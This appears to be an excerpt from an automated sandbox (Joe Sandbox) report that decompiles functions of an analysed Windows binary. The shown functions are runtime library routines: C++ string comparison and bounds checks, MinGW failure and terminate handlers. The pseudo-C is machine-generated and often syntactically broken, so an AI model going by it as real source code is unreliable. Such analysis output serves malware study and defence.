							_t160 = _t153 - _t84;
							__eflags = _t160 - _t116;
							_t148 =  *(_t229[0xa]);
							_t161 =  >  ? _t116 : _t160;
							_t180 =  *((intOrPtr*)(_t148 - 0xc));
							__eflags = _t180 - _t161;
							_t126 =  <=  ? _t180 : _t161;
							__eflags = _t126;
							if(_t126 == 0) {
								L24:
								_t97 = _t161 - _t180;
								__eflags = _t97;
								goto L25;
							} else {
								_t201 = _t194 + _t84 * 2;
								__eflags = _t201 - _t148;
								if(_t201 == _t148) {
									goto L24;
								} else {
									_t97 = 0xffffffff;
									__eflags = _t201;
									if(_t201 == 0) {
										L25:
										return _t97;
									} else {
										while(1) {
											_t98 =  *_t148 & 0x0000ffff;
											__eflags =  *_t201 - _t98;
											if( *_t201 != _t98) {
												break;
											}
											_t201 = _t201 + 2;
											_t148 =  &(_t148[1]);
											_t126 = _t126 - 1;
											__eflags = _t126;
											if(_t126 != 0) {
												continue;
											} else {
												goto L24;
											}
											goto L40;
										}
										asm("sbb eax, eax");
										_t99 = _t98 | 0x00000001;
										__eflags = _t99;
										return _t99;
									}
								}
							}
						}
					} else {
						_t100 = _t82 - _t193;
						_t129 = _t228[7];
						__eflags = _t100 - _t173;
						_t101 =  >  ? _t173 : _t100;
						__eflags = _t101 - _t129;
						_t184 =  <=  ? _t101 : _t129;
						__eflags = _t184;
						if(_t184 == 0) {
							L16:
							_t102 = _t101 - _t228[7];
							__eflags = _t102;
							return _t102;
						} else {
							_t149 = _t142 + _t193 * 2;
							__eflags = _t149 - _t228[0x12];
							if(_t149 == _t228[0x12]) {
								goto L16;
							} else {
								__eflags = _t149;
								_t131 = _t129 & 0xffffff00 | _t149 != 0x00000000;
								_t228[0x12] = (_t129 & 0xffffff00 | _t149 != 0x00000000) - (_t131 & 0xffffff00 | _t228[0x12] != 0x00000000);
								if((_t129 & 0xffffff00 | _t149 != 0x00000000) == (_t131 & 0xffffff00 | _t228[0x12] != 0x00000000)) {
									while(1) {
										__eflags =  *_t149 - ( *(_t228[0x12]) & 0x0000ffff);
										if( *_t149 != ( *(_t228[0x12]) & 0x0000ffff)) {
											break;
										}
										_t149 = _t149 + 2;
										_t228[0x12] =  &(_t228[0x12][2]);
										_t184 = _t184 - 1;
										__eflags = _t184;
										if(_t184 != 0) {
											continue;
										} else {
											goto L16;
										}
										goto L40;
									}
									asm("sbb eax, eax");
									_t103 = _t101 | 0x00000001;
									__eflags = _t103;
									return _t103;
								} else {
									__eflags = _t228[0x12] - 1;
									asm("sbb eax, eax");
									_t105 = (_t101 & 0x00000002) - 1;
									__eflags = _t105;
									return _t105;
								}
							}
						}
					}
				} else {
					 *_t227 = _t172;
					_t221 = __ecx;
					_t137 =  >  ? _t79 : _t115 - _t192;
					_t106 = wcslen(??);
					_t227[7] = _t106;
					_t167 =  <=  ? _t106 : _t137;
					_t227[6] = _t167;
					if(_t167 == 0) {
						L7:
						_t108 = _t137 - _t227[7];
						__eflags = _t108;
						return _t108;
					} else {
						_t151 =  *_t221 + _t192 * 2;
						if(_t151 == _t172) {
							goto L7;
						} else {
							_t168 = _t167 & 0xffffff00 | _t151 != 0x00000000;
							_t109 = _t168 & 0xffffff00 | _t172 != 0x00000000;
							if(_t168 == _t109) {
								while(1) {
									_t110 =  *_t172 & 0x0000ffff;
									__eflags =  *_t151 - _t110;
									if( *_t151 != _t110) {
										break;
									}
									_t151 = _t151 + 2;
									_t172 =  &(_t172[1]);
									_t13 =  &(_t227[6]);
									 *_t13 = _t227[6] - 1;
									__eflags =  *_t13;
									if( *_t13 != 0) {
										continue;
									} else {
										goto L7;
									}
									goto L40;
								}
								asm("sbb eax, eax");
								_t111 = _t110 | 0x00000001;
								__eflags = _t111;
								return _t111;
							} else {
								asm("sbb eax, eax");
								return (_t109 & 0x00000002) - 1;
							}
						}
					}
				}
				L40:
			}

0x00433e60
0x00433e64
0x00433e69
0x00433e6d
0x00433e71
0x00433e74
0x00433e7a
0x00433f14
0x00433f18
0x00433f1c
0x00433f24
0x00433f2b
0x00433f30
0x00433f31
0x00433f32
0x00433f33
0x00433f34
0x00433f37
0x00433f3d
0x00433f41
0x00433f45
0x00433f49
0x00433f4c
0x00433f4e
0x00433fdf
0x00433fe3
0x00433fe7
0x00433fef
0x00433ff6
0x00434000
0x00434001
0x00434002
0x00434003
0x00434006
0x00434008
0x0043400c
0x00434010
0x00434013
0x00434015
0x00434070
0x00434074
0x00434078
0x00434080
0x00434087
0x00434090
0x00434091
0x00434092
0x00434093
0x00434094
0x00434097
0x00434099
0x0043409d
0x004340a1
0x004340a4
0x004340a8
0x004340aa
0x0043414f
0x00434153
0x00434157
0x0043415f
0x00434166
0x00000000
0x004340b0
0x004340b4
0x004340b6
0x004340b9
0x004340bb
0x0043416b
0x0043416b
0x0043416f
0x00434173
0x0043417b
0x00434182
0x0043418d
0x00434194
0x0043419e
0x004341a0
0x004340c1
0x004340c1
0x004340c3
0x004340c5
0x004340c8
0x004340ca
0x004340ce
0x004340d5
0x004340d7
0x004340da
0x004340dc
0x00434133
0x00434136
0x00434136
0x0043413c
0x004340de
0x004340de
0x004340e1
0x004340e5
0x004340e9
0x004340eb
0x00000000
0x004340ed
0x004340ed
0x004340ef
0x004340fb
0x004340fd
0x00434114
0x00434120
0x00434123
0x00434126
0x00000000
0x00000000
0x00434128
0x0043412b
0x0043412e
0x0043412e
0x00434131
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434131
0x00434140
0x00434146
0x00434146
0x0043414c
0x004340ff
0x004340ff
0x00434102
0x0043410c
0x0043410c
0x00434111
0x00434111
0x004340fd
0x004340eb
0x004340dc
0x004340bb
0x00434017
0x0043401b
0x0043401d
0x0043401f
0x00434021
0x00434024
0x00434029
0x0043402b
0x0043402e
0x00434030
0x00434055
0x00434057
0x00434057
0x00000000
0x00434032
0x00434032
0x00434035
0x00434037
0x00000000
0x00434039
0x00434039
0x0043403e
0x00434040
0x00434059
0x0043405f
0x00434042
0x00434042
0x00434042
0x00434045
0x00434048
0x00000000
0x00000000
0x0043404a
0x0043404d
0x00434050
0x00434050
0x00434053
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434053
0x00434062
0x00434068
0x00434068
0x0043406d
0x0043406d
0x00434040
0x00434037
0x00434030
0x00433f54
0x00433f54
0x00433f56
0x00433f5a
0x00433f5c
0x00433f61
0x00433f63
0x00433f66
0x00433f68
0x00433fbd
0x00433fbd
0x00433fbd
0x00433fc8
0x00433f6a
0x00433f6a
0x00433f6d
0x00433f71
0x00000000
0x00433f73
0x00433f77
0x00433f79
0x00433f89
0x00433f8b
0x00433fa4
0x00433fab
0x00433fae
0x00000000
0x00000000
0x00433fb0
0x00433fb3
0x00433fb8
0x00433fb8
0x00433fbb
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00433fbb
0x00433fd0
0x00433fd6
0x00433fd6
0x00433fdc
0x00433f8d
0x00433f8d
0x00433f92
0x00433f9c
0x00433f9c
0x00433fa1
0x00433fa1
0x00433f8b
0x00433f71
0x00433f68
0x00433e80
0x00433e82
0x00433e85
0x00433e89
0x00433e8c
0x00433e95
0x00433e99
0x00433e9c
0x00433ea2
0x00433ef5
0x00433ef7
0x00433ef7
0x00433f02
0x00433ea4
0x00433ea7
0x00433eac
0x00000000
0x00433eae
0x00433eb0
0x00433ebe
0x00433ec2
0x00433ee0
0x00433ee0
0x00433ee3
0x00433ee6
0x00000000
0x00000000
0x00433ee8
0x00433eeb
0x00433eee
0x00433eee
0x00433eee
0x00433ef3
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00433ef3
0x00433f05
0x00433f0b
0x00433f0b
0x00433f11
0x00433ec4
0x00433ec7
0x00433ed6
0x00433ed6
0x00433ec2
0x00433eac
0x00433ea2
0x00000000

APIs

wcslen.MSVCRT ref: 00433E8C

Strings

basic_string::compare, xrefs: 00433F1C, 00433FE7, 00434078, 00434157, 00434173
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00433F24, 00433FEF, 00434080, 0043415F, 0043417B

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: wcslen
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::compare
API String ID: 4088430540-1697194757
Opcode ID: 89ec20bc2298c28e0771dccdad51d245fd8f7a8b6fd939eb121c6651abbee8a9
Instruction ID: 59a017d697c36099b8f222ce2f1707dcbfb11bb5f1011a0cfd05432d59914eb3
Opcode Fuzzy Hash: 89ec20bc2298c28e0771dccdad51d245fd8f7a8b6fd939eb121c6651abbee8a9
Instruction Fuzzy Hash: 0291CD72A042118FC314DE6DD48096BFBE2EBE9310F54892EE98887314D236ED85CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00475730 Relevance: 2.6, Strings: 2, Instructions: 96
COMMON

Download Yara Rule

C-Code - Quality: 40%

			E00475730(intOrPtr* __ecx, void* __edi, void* __esi, intOrPtr* _a4, char* _a8, intOrPtr _a12) {
				char _v13;
				intOrPtr _v28;
				char* _v32;
				char* _v36;
				char* _v40;
				intOrPtr _v60;
				char _v64;
				void* _v68;
				void* _v88;
				void* _v92;
				void* _v96;
				void* __ebx;
				void* _t31;
				char* _t34;
				void* _t38;
				void* _t41;
				char _t43;
				intOrPtr _t44;
				intOrPtr _t45;
				intOrPtr _t46;
				char* _t48;
				char* _t49;
				intOrPtr* _t50;
				intOrPtr* _t55;
				intOrPtr* _t56;
				intOrPtr _t59;
				char _t60;
				intOrPtr _t63;
				intOrPtr _t67;
				char* _t68;
				intOrPtr* _t73;
				void* _t76;
				void* _t77;
				char** _t78;
				void* _t79;
				void* _t80;

				_push(__edi);
				_push(__esi);
				_t72 = __ecx;
				_t78 = _t77 - 0x20;
				_t48 = _a8;
				_t67 = _a12;
				_t59 =  *_a4;
				_t55 =  *((intOrPtr*)(_t59 - 0xc));
				_t31 = _t55 - _t48;
				_t32 =  >  ? _t67 : _t31;
				_t33 = ( >  ? _t67 : _t31) + _t48;
				_t34 = ( >  ? _t67 : _t31) + _t48 + _t59;
				if(_t48 > _t55) {
					_v32 = _t55;
					_v36 = _t48;
					_v40 = "basic_string::basic_string";
					 *_t78 = "%s: __pos (which is %zu) > this->size() (which is %zu)";
					E004A77E0(_t55, _t67, __eflags);
					_push(_t67);
					_t73 = _t55;
					_push(_t48);
					_t79 = _t78 - 0x10;
					_t49 = _v36;
					_t68 = _v32;
					_t60 =  *_v40;
					_t56 =  *((intOrPtr*)(_t60 - 0xc));
					_t38 = _t56 - _t49;
					__eflags = _t38 - _t68;
					_t39 =  >  ? _t68 : _t38;
					_t40 = ( >  ? _t68 : _t38) + _t49;
					_t41 = ( >  ? _t68 : _t38) + _t49 + _t60;
					__eflags = _t49 - _t56;
					if(__eflags > 0) {
						 *((intOrPtr*)(_t79 + 0xc)) = _t56;
						_v28 = _t49;
						_v32 = "basic_string::basic_string";
						_v36 = "%s: __pos (which is %zu) > this->size() (which is %zu)";
						E004A77E0(_t56, _t68, __eflags);
						_push(_t49);
						_t50 = _t56;
						_t80 = _t79 - 0x18;
						_t43 = _v32;
						 *((char*)(_t80 + 0xc)) = 0;
						 *((intOrPtr*)(_t80 + 8)) =  *((intOrPtr*)(_t80 + 0x28));
						_v64 = _t43;
						_t63 = _v28 + _t43;
						__eflags = _t63;
						_v60 = _t63;
						_t44 = E00473B10(_t50, _t68, _t73, _t76);
						 *_t50 = _t44;
						return _t44;
					} else {
						_t64 = _t60 + _t49;
						__eflags = _t60 + _t49;
						 *((char*)(_t79 + 0xc)) = 0;
						_t45 = E00473BA0(_t49, _t68, _t73, _t76, _t64, _t41, _a8);
						 *_t73 = _t45;
						return _t45;
					}
				} else {
					_v32 = 0;
					_v36 =  &_v13;
					_v40 = _t34;
					 *_t78 = _t59 + _t48;
					_t46 = E00473BA0(_t48, _t67, __ecx, _t76);
					 *__ecx = _t46;
					return _t46;
				}
			}

0x00475730
0x00475731
0x00475732
0x00475735
0x0047573c
0x00475740
0x00475744
0x00475746
0x0047574b
0x0047574f
0x00475752
0x00475754
0x00475758
0x00475780
0x00475784
0x00475788
0x00475790
0x00475797
0x004757a0
0x004757a2
0x004757a4
0x004757a5
0x004757ac
0x004757b0
0x004757b4
0x004757b6
0x004757bb
0x004757bd
0x004757bf
0x004757c2
0x004757c4
0x004757c6
0x004757c8
0x004757f0
0x004757f4
0x004757f8
0x00475800
0x00475807
0x00475810
0x00475811
0x00475813
0x0047581a
0x0047581e
0x00475823
0x0047582b
0x0047582e
0x0047582e
0x00475830
0x00475834
0x00475839
0x0047583f
0x004757ca
0x004757ce
0x004757ce
0x004757d0
0x004757e0
0x004757e5
0x004757ed
0x004757ed
0x0047575a
0x00475760
0x00475765
0x00475769
0x0047576d
0x00475770
0x00475775
0x0047577d
0x0047577d

Strings

basic_string::basic_string, xrefs: 00475788, 004757F8
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00475790, 00475800

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID:
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::basic_string
API String ID: 0-4170083050
Opcode ID: c806e45647be314c55d2e890966033055e39c98eebebcd2970cd68b7461679d7
Instruction ID: 1b7a6d1f4c8b538ca9ef35bff9a61a662e206b5dcfb3cd1eb16bdce0ca46dedd
Opcode Fuzzy Hash: c806e45647be314c55d2e890966033055e39c98eebebcd2970cd68b7461679d7
Instruction Fuzzy Hash: 663119B5A093009FC3189F29C884A5BFBE1FBC9354F54D92EE8C887341D278D8849B96

Uniqueness

Uniqueness Score: -1.00%

Function 00434710 Relevance: 1.3, Strings: 1, Instructions: 20COMMON

Download Yara Rule

Strings

basic_string::at: __n (which is %zu) >= this->size() (which is %zu), xrefs: 00434730

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID:
String ID: basic_string::at: __n (which is %zu) >= this->size() (which is %zu)
API String ID: 0-3720052664
Opcode ID: 5ff85e33ececbaa3a4113a8afdcd4b12e4ca9c0ee983b0ffbd138c65f8dbfd5a
Instruction ID: 27d5f945fc18d2a71b3ed26747d1d003095dc967662e78153e7b19fd084b2e3d
Opcode Fuzzy Hash: 5ff85e33ececbaa3a4113a8afdcd4b12e4ca9c0ee983b0ffbd138c65f8dbfd5a
Instruction Fuzzy Hash: 30E0B6B5E056008FCB04EF18C585929F7F1BBDA304F65E99DE08497320D335E410CA5A

Uniqueness

Uniqueness Score: -1.00%

Function 004305B0 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ed4dc1d5ae19317ef8f1feccfe8309f36cb62cae267fa830bff74b8ed54fdf1
Instruction ID: f019acdbec683e031de4eb8821d668728b86d0497aea240a1f8410d14a35acf1
Opcode Fuzzy Hash: 0ed4dc1d5ae19317ef8f1feccfe8309f36cb62cae267fa830bff74b8ed54fdf1
Instruction Fuzzy Hash: F1C012B0C0524046C2007F388106128B970AB62204FC4589CE44013206EA39C118475F

Uniqueness

Uniqueness Score: -1.00%

Function 004AE5B0 Relevance: 35.0, APIs: 19, Strings: 1, Instructions: 42fileCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 004AE5DF
vfprintf.MSVCRT ref: 004AE5FF
abort.MSVCRT ref: 004AE604
abort.MSVCRT ref: 004AE60C
abort.MSVCRT ref: 004AE611
abort.MSVCRT ref: 004AE616
abort.MSVCRT ref: 004AE61B
abort.MSVCRT ref: 004AE620
abort.MSVCRT(00422CFB), ref: 004AE625
abort.MSVCRT(00422CFB), ref: 004AE62A
abort.MSVCRT(00422CFB), ref: 004AE62F
abort.MSVCRT(00422CFB), ref: 004AE634
abort.MSVCRT(00422CFB), ref: 004AE639
abort.MSVCRT(00422CFB), ref: 004AE63E
abort.MSVCRT(00422CFB), ref: 004AE643
abort.MSVCRT(00422CFB), ref: 004AE648
abort.MSVCRT(?,?,00000000,?,00000000,76D84D40,00424A29), ref: 004AE650
abort.MSVCRT(?,?,00000000,?,00000000,76D84D40,00424A29), ref: 004AE655
abort.MSVCRT(?,?,00000000,?,00000000,76D84D40,00424A29), ref: 004AE65A

Strings

Mingw-w64 runtime failure:, xrefs: 004AE5D8

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: abort$fwritevfprintf
String ID: Mingw-w64 runtime failure:
API String ID: 2868300786-2889761391
Opcode ID: 60bf2ab0b6d4d515fbd306bc62dbf2e1a3d1b04c22d7698d82eda65aab6af0ae
Instruction ID: 11ac08eb2027211721b5ff760d3b2f56f89aa3ba29980447c91c5dffbb2c8403
Opcode Fuzzy Hash: 60bf2ab0b6d4d515fbd306bc62dbf2e1a3d1b04c22d7698d82eda65aab6af0ae
Instruction Fuzzy Hash: 50F0BDB09097149AC300BF66D08622FBAF0AF5574CFC1AD3EA0CC57152D7BC95488B5B

Uniqueness

Uniqueness Score: -1.00%

Function 004322A0 Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 130fileCOMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00432311
fwrite.MSVCRT ref: 004323B8
fputs.MSVCRT ref: 004323D5
fwrite.MSVCRT ref: 004323FE
fputs.MSVCRT ref: 0043241D
fwrite.MSVCRT ref: 0043244C
fwrite.MSVCRT ref: 0043247E
abort.MSVCRT ref: 00432483
abort.MSVCRT(?,?,474E5543,?,004A8890,?,?,?,?,?,?,004ABE2F,?,?,?,?), ref: 004ACC9B
free.MSVCRT(?,?,474E5543,?,004A8890,?,?,?,?,?,?,004ABE2F,?,?,?,?), ref: 004ACCA3

Strings

not enough space for format expansion (Please submit full bug report at https://gcc.gnu.org/bugs/): , xrefs: 004322B9
-, xrefs: 00432431
terminate called recursively, xrefs: 00432477
terminate called without an active exception, xrefs: 00432445
terminate called after throwing an instance of ', xrefs: 004323B1

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: fwrite$abortfputs$freememcpy
String ID: -$not enough space for format expansion (Please submit full bug report at https://gcc.gnu.org/bugs/): $terminate called after throwing an instance of '$terminate called recursively$terminate called without an active exception
API String ID: 1748391741-1195946326
Opcode ID: 6fb1a7d68b1076908e3d839b5353864b30b9961fa8f526e6fa4bfde694d53977
Instruction ID: fcb1276bd7a8c033888834a2a79c8531cb0ae057270fba30a720994f70d45047
Opcode Fuzzy Hash: 6fb1a7d68b1076908e3d839b5353864b30b9961fa8f526e6fa4bfde694d53977
Instruction Fuzzy Hash: 725137B09083149FD700BF65D48975EBBF4BF95318F40892EE4D887282DBB89489DF56

Uniqueness

Uniqueness Score: -1.00%

Function 00420AC0 Relevance: 24.1, APIs: 16, Instructions: 102COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 004AE60C
abort.MSVCRT ref: 004AE611
abort.MSVCRT ref: 004AE616
abort.MSVCRT ref: 004AE61B
abort.MSVCRT ref: 004AE620
abort.MSVCRT(00422CFB), ref: 004AE625
abort.MSVCRT(00422CFB), ref: 004AE62A
abort.MSVCRT(00422CFB), ref: 004AE62F
abort.MSVCRT(00422CFB), ref: 004AE634
abort.MSVCRT(00422CFB), ref: 004AE639
abort.MSVCRT(00422CFB), ref: 004AE63E
abort.MSVCRT(00422CFB), ref: 004AE643
abort.MSVCRT(00422CFB), ref: 004AE648
abort.MSVCRT(?,?,00000000,?,00000000,76D84D40,00424A29), ref: 004AE650
abort.MSVCRT(?,?,00000000,?,00000000,76D84D40,00424A29), ref: 004AE655
abort.MSVCRT(?,?,00000000,?,00000000,76D84D40,00424A29), ref: 004AE65A

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: fbc10ca6428de2dee9e0ae798ca94e5354751bf4a26954db91797b2b8bc889b1
Instruction ID: 8c81f528f4bf6a548701d81901abf702a653b37c21b64211b95e58a3b6ec7b1d
Opcode Fuzzy Hash: fbc10ca6428de2dee9e0ae798ca94e5354751bf4a26954db91797b2b8bc889b1
Instruction Fuzzy Hash: A4212D327042248FC710DF59E4C166277E5EBC131CF99857FE9488B306D1BA78099765

Uniqueness

Uniqueness Score: -1.00%

Function 00421BA0 Relevance: 22.6, APIs: 15, Instructions: 98
COMMON

Download Yara Rule

C-Code - Quality: 20%

			E00421BA0(void* __edx, void* __esi, char _a1, signed int _a20, intOrPtr _a24, signed int _a28, signed int _a44) {
				char _v1;
				void* _v16;
				char* _v40;
				struct HINSTANCE__* _t189;
				struct HINSTANCE__* _t192;
				_Unknown_base(*)()* _t193;
				CHAR* _t195;
				struct HINSTANCE__* _t197;
				void* _t202;
				_Unknown_base(*)()* _t203;
				void* _t208;
				char** _t209;
				char** _t210;
				struct HINSTANCE__** _t212;
				struct HINSTANCE__** _t213;

				L0:
				while(1) {
					L0:
					_t202 = __esi;
					if(_a20 == 0) {
						break;
					}
					L22:
					__ebp = __eax;
					__ebp =  &_v1;
					__edi =  *(__esp + 0x30 + __ebp * 4);
					__eflags = __dl - 0x1f;
					if(__eflags == 0) {
						L110:
						__edi =  ~__edi;
						__esi = __ebx;
					} else {
						L23:
						if(__eflags <= 0) {
							L97:
							__eflags = __dl - 6;
							if(__dl != 6) {
								L99:
								__eflags = __dl - 0x19;
								if(__dl != 0x19) {
									goto L96;
								} else {
									L100:
									__eax = __edi;
									__esi = __ebx;
									__eax = __edi >> 0x1f;
									__edi = __edi ^ __eax;
									__edi = __edi - __eax;
								}
							} else {
								L98:
								__edi =  *__edi;
								__esi = __ebx;
							}
						} else {
							L24:
							__eflags = __dl - 0x23;
							if(__dl == 0x23) {
								L102:
								__esi = 0;
								__ecx = 0;
								__eflags = 0;
								do {
									L103:
									__ebx = __ebx + 1;
									__edx =  *(__ebx - 1) & 0x000000ff;
									 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
									__eax = ( *(__ebx - 1) & 0x7f) << __cl;
									__ecx = __ecx + 7;
									__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
									__eflags = __dl;
								} while (__dl < 0);
								__edi = __edi + __esi;
								__esi = __ebx;
							} else {
								L25:
								__eflags = __dl - 0x94;
								if(__dl != 0x94) {
									L95:
									__eflags = __dl - 0x20;
									if(__dl == 0x20) {
										L109:
										__edi =  !__edi;
										__esi = __ebx;
									} else {
										goto L96;
									}
								} else {
									L26:
									__eax =  *(__esi + 1) & 0x000000ff;
									__edx = __esi + 2;
									__eflags = __al - 2;
									if(__eflags == 0) {
										L128:
										__edi =  *__edi & 0x0000ffff;
										__esi = __edx;
									} else {
										L27:
										if(__eflags <= 0) {
											L107:
											__eflags = __al - 1;
											if(__al != 1) {
												goto L96;
											} else {
												L108:
												__edi =  *__edi & 0x000000ff;
												__esi = __edx;
											}
										} else {
											L28:
											__eflags = __al - 4;
											if(__al == 4) {
